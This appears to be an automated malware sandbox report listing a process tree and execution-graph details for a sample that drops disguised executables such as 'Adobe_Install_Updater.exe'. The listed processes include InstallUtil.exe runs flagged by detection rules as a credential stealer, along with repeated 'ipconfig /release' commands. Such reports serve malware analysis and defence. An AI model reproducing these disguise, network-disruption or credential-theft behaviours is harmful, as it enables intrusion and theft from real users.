Start time:	13:22:24
Start date:	15/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	13:22:25
Start date:	15/10/2024
Path:	C:\Windows\SysWOW64\ipconfig.exe
Wow64 process (32bit):	true
Commandline:	ipconfig /renew
Imagebase:	0x7f0000
File size:	29'184 bytes
MD5 hash:	3A3B9A5E00EF6A3F83BF300E2B6B67BB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	13:22:26
Start date:	15/10/2024
Path:	C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe"
Imagebase:	0x5f0000
File size:	7'168 bytes
MD5 hash:	3A1085797CA3089008CB2B51D2FCDC84
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000014.00000002.2464667993.0000000002940000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	13:22:29
Start date:	15/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c ipconfig /release
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	13:22:29
Start date:	15/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	13:22:29
Start date:	15/10/2024
Path:	C:\Windows\SysWOW64\ipconfig.exe
Wow64 process (32bit):	true
Commandline:	ipconfig /release
Imagebase:	0x7f0000
File size:	29'184 bytes
MD5 hash:	3A3B9A5E00EF6A3F83BF300E2B6B67BB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	13:22:31
Start date:	15/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c ipconfig /release
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	13:22:31
Start date:	15/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	13:22:31
Start date:	15/10/2024
Path:	C:\Windows\SysWOW64\ipconfig.exe
Wow64 process (32bit):	true
Commandline:	ipconfig /release
Imagebase:	0x7f0000
File size:	29'184 bytes
MD5 hash:	3A3B9A5E00EF6A3F83BF300E2B6B67BB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	13:22:31
Start date:	15/10/2024
Path:	C:\Users\user\AppData\Local\Temp\Plain_Checker.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Plain_Checker.exe"
Imagebase:	0xc60000
File size:	7'168 bytes
MD5 hash:	C3F3579FAF5ABFC023F4E282CFF43313
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000001B.00000002.2540044072.0000000002FD0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000001B.00000002.2623669408.0000000006D40000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	13:22:32
Start date:	15/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0x4b0000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	13:22:32
Start date:	15/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c ipconfig /renew
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	13:22:32
Start date:	15/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	13:22:32
Start date:	15/10/2024
Path:	C:\Windows\SysWOW64\ipconfig.exe
Wow64 process (32bit):	true
Commandline:	ipconfig /renew
Imagebase:	0x7f0000
File size:	29'184 bytes
MD5 hash:	3A3B9A5E00EF6A3F83BF300E2B6B67BB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	13:22:33
Start date:	15/10/2024
Path:	C:\Users\user\AppData\Local\Temp\build.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\build.exe"
Imagebase:	0x550000
File size:	130'792 bytes
MD5 hash:	30F7AAC5D8D65200C618C6A0A94C4065
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	13:22:33
Start date:	15/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	13:22:33
Start date:	15/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0xaa0000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000022.00000002.2558260556.0000000002DEC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	13:22:34
Start date:	15/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c ipconfig /renew
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	13:22:34
Start date:	15/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	13:22:34
Start date:	15/10/2024
Path:	C:\Windows\SysWOW64\ipconfig.exe
Wow64 process (32bit):	true
Commandline:	ipconfig /renew
Imagebase:	0x7f0000
File size:	29'184 bytes
MD5 hash:	3A3B9A5E00EF6A3F83BF300E2B6B67BB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	13:22:39
Start date:	15/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c ipconfig /release
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	13:22:39
Start date:	15/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	13:22:39
Start date:	15/10/2024
Path:	C:\Windows\SysWOW64\ipconfig.exe
Wow64 process (32bit):	true
Commandline:	ipconfig /release
Imagebase:	0x7f0000
File size:	29'184 bytes
MD5 hash:	3A3B9A5E00EF6A3F83BF300E2B6B67BB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	13:22:40
Start date:	15/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c ipconfig /release
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	13:22:40
Start date:	15/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	13:22:40
Start date:	15/10/2024
Path:	C:\Windows\SysWOW64\ipconfig.exe
Wow64 process (32bit):	true
Commandline:	ipconfig /release
Imagebase:	0x7f0000
File size:	29'184 bytes
MD5 hash:	3A3B9A5E00EF6A3F83BF300E2B6B67BB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	13:22:41
Start date:	15/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0x450000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000002D.00000002.2689709699.0000000002BC1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	13:22:41
Start date:	15/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c ipconfig /renew
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	13:22:41
Start date:	15/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	13:22:42
Start date:	15/10/2024
Path:	C:\Windows\SysWOW64\ipconfig.exe
Wow64 process (32bit):	true
Commandline:	ipconfig /renew
Imagebase:	0x7f0000
File size:	29'184 bytes
MD5 hash:	3A3B9A5E00EF6A3F83BF300E2B6B67BB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	13:22:42
Start date:	15/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0xcf0000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000031.00000002.2687620249.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	13:22:43
Start date:	15/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c ipconfig /renew
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	13:22:43
Start date:	15/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	13:22:43
Start date:	15/10/2024
Path:	C:\Windows\SysWOW64\ipconfig.exe
Wow64 process (32bit):	true
Commandline:	ipconfig /renew
Imagebase:	0x7f0000
File size:	29'184 bytes
MD5 hash:	3A3B9A5E00EF6A3F83BF300E2B6B67BB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	13:22:54
Start date:	15/10/2024
Path:	C:\Users\user\AppData\Roaming\Yftssfzf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Yftssfzf.exe"
Imagebase:	0x550000
File size:	7'168 bytes
MD5 hash:	C3F3579FAF5ABFC023F4E282CFF43313
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000036.00000002.2775307801.00000000027A0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 42%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	13:23:01
Start date:	15/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c ipconfig /release
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	13:23:01
Start date:	15/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	13:23:01
Start date:	15/10/2024
Path:	C:\Windows\SysWOW64\ipconfig.exe
Wow64 process (32bit):	true
Commandline:	ipconfig /release
Imagebase:	0x7f0000
File size:	29'184 bytes
MD5 hash:	3A3B9A5E00EF6A3F83BF300E2B6B67BB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	13:23:02
Start date:	15/10/2024
Path:	C:\Users\user\AppData\Roaming\Yftssfzf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Yftssfzf.exe"
Imagebase:	0x180000
File size:	7'168 bytes
MD5 hash:	C3F3579FAF5ABFC023F4E282CFF43313
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000003A.00000002.2857282148.00000000024E0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	13:23:04
Start date:	15/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0x630000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	13:23:04
Start date:	15/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c ipconfig /renew
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	13:23:04
Start date:	15/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	13:23:05
Start date:	15/10/2024
Path:	C:\Windows\SysWOW64\ipconfig.exe
Wow64 process (32bit):	true
Commandline:	ipconfig /renew
Imagebase:	0x7f0000
File size:	29'184 bytes
MD5 hash:	3A3B9A5E00EF6A3F83BF300E2B6B67BB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	13:23:10
Start date:	15/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c ipconfig /release
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	13:23:10
Start date:	15/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	13:23:10
Start date:	15/10/2024
Path:	C:\Windows\SysWOW64\ipconfig.exe
Wow64 process (32bit):	true
Commandline:	ipconfig /release
Imagebase:	0x7f0000
File size:	29'184 bytes
MD5 hash:	3A3B9A5E00EF6A3F83BF300E2B6B67BB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	66
Start time:	13:23:13
Start date:	15/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0xfe0000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	67
Start time:	13:23:13
Start date:	15/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c ipconfig /renew
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	68
Start time:	13:23:13
Start date:	15/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	69
Start time:	13:23:13
Start date:	15/10/2024
Path:	C:\Windows\SysWOW64\ipconfig.exe
Wow64 process (32bit):	true
Commandline:	ipconfig /renew
Imagebase:	0x7f0000
File size:	29'184 bytes
MD5 hash:	3A3B9A5E00EF6A3F83BF300E2B6B67BB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	10.8%
Dynamic/Decrypted Code Coverage:	87%
Signature Coverage:	2.9%
Total number of Nodes:	315
Total number of Limit Nodes:	8

Executed Functions

Function 06A13280 Relevance: 16.1, Strings: 12, Instructions: 1100COMMON

Download Yara Rule

Strings

$jq, xrefs: 06A136D7
,nq, xrefs: 06A13D3A
$jq, xrefs: 06A13503
$jq, xrefs: 06A13B51
$jq, xrefs: 06A13BAA
$jq, xrefs: 06A13777
$jq, xrefs: 06A13513
$jq, xrefs: 06A13BBA
$jq, xrefs: 06A13787
$jq, xrefs: 06A13B61
4, xrefs: 06A13C55
$jq, xrefs: 06A136C7

Memory Dump Source

Source File: 00000000.00000002.2214677539.0000000006A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a10000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID: ,nq$4$$jq$$jq$$jq$$jq$$jq$$jq$$jq$$jq$$jq$$jq
API String ID: 0-162385967
Opcode ID: bfae99394e17b5cf8a7bff2a03e4543dd5ae5baa0056ae54467d714f28440d0a
Instruction ID: e75302045a86a43cc3211ac578c6120ba1379767e988beec847257f267332a44
Opcode Fuzzy Hash: bfae99394e17b5cf8a7bff2a03e4543dd5ae5baa0056ae54467d714f28440d0a
Instruction Fuzzy Hash: 52B2F334A00218DFDB54EFA8C994BADB7B6BF48300F1585A9E505AF2A5DB70ED81CF50

Function 06A135A7 Relevance: 8.0, Strings: 6, Instructions: 495COMMON

Download Yara Rule

Strings

,nq, xrefs: 06A13D3A
$jq, xrefs: 06A13B51
$jq, xrefs: 06A13BAA
$jq, xrefs: 06A13777
$jq, xrefs: 06A136C7
4, xrefs: 06A13C55

Memory Dump Source

Source File: 00000000.00000002.2214677539.0000000006A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a10000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID: ,nq$4$$jq$$jq$$jq$$jq
API String ID: 0-3947795074
Opcode ID: 3b3c842e42376d680ad3d04634beb29b8747e82c1a4436df4bb40bd1ff6652d6
Instruction ID: 9018ea94db3fffc23a639a188481c0d3af1684454cf58686db258106942bd480
Opcode Fuzzy Hash: 3b3c842e42376d680ad3d04634beb29b8747e82c1a4436df4bb40bd1ff6652d6
Instruction Fuzzy Hash: A722F734A00218CFDB64EFA5C994BADB7B6FF48300F1581A9D509AF2A5DB31AD85CF50

Function 02E1AF38 Relevance: 6.0, Strings: 4, Instructions: 983
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Tejq, xrefs: 02E1B65B
pnq, xrefs: 02E1BAF2
TJoq, xrefs: 02E1B0DA
xbmq, xrefs: 02E1B065

Memory Dump Source

Source File: 00000000.00000002.2197050179.0000000002E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e10000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID: TJoq$Tejq$pnq$xbmq
API String ID: 0-1294180740
Opcode ID: 93a71c259f859ed544e3070307663f519a5479c0a5158202b16d324242443dfb
Instruction ID: d8c3dcb001d8353e9af0e93f928d153e7e2a90d1a1e67501056e0c07367344fa
Opcode Fuzzy Hash: 93a71c259f859ed544e3070307663f519a5479c0a5158202b16d324242443dfb
Instruction Fuzzy Hash: 8EA2C475A00628CFDB65CF69C984AD9BBB2FF89304F1581E9D509AB325DB319E81CF40

Function 06B6CC68 Relevance: 4.3, Strings: 3, Instructions: 543
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

8, xrefs: 06B6CD74
foq, xrefs: 06B6CD87
-B3 , xrefs: 06B6D0B2

Memory Dump Source

Source File: 00000000.00000002.2215212929.0000000006B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID: foq$-B3 $8
API String ID: 0-1929960878
Opcode ID: dc0180031bafc82cb17cca86d60c6937f4458020cd993587fd8300c35db6c9a9
Instruction ID: 6d4989f1d3619b3cfea63f37e0c5414e6914d5bbfe6e00431ec80a8b4da367a3
Opcode Fuzzy Hash: dc0180031bafc82cb17cca86d60c6937f4458020cd993587fd8300c35db6c9a9
Instruction Fuzzy Hash: 4142C475D00629CFDB64DF69C850AD9B7B2BF89310F1486EAD40DA7254DB30AE85CF90

Function 06B6CC66 Relevance: 2.7, Strings: 2, Instructions: 151
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

foq, xrefs: 06B6CD87
h, xrefs: 06B6CD68

Memory Dump Source

Source File: 00000000.00000002.2215212929.0000000006B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID: foq$h
API String ID: 0-619432838
Opcode ID: 01a978346a5d07622de91013caec9829a09f2de82f646c684878de26aad3e7a5
Instruction ID: 194055b91b5c0db1b3ee333ae0274ac4a7ed84170f30ff593c60f74ce398b0f9
Opcode Fuzzy Hash: 01a978346a5d07622de91013caec9829a09f2de82f646c684878de26aad3e7a5
Instruction Fuzzy Hash: 5C61B471D006298BEB64DF6AC840BD9FBB2BF89300F14C2EAD51DA7254EB305A85CF50

Function 06A2F4C8 Relevance: 1.6, Strings: 1, Instructions: 363COMMON

Download Yara Rule

Strings

Tejq, xrefs: 06A2F780

Memory Dump Source

Source File: 00000000.00000002.2214735221.0000000006A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a20000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID: Tejq
API String ID: 0-2468842661
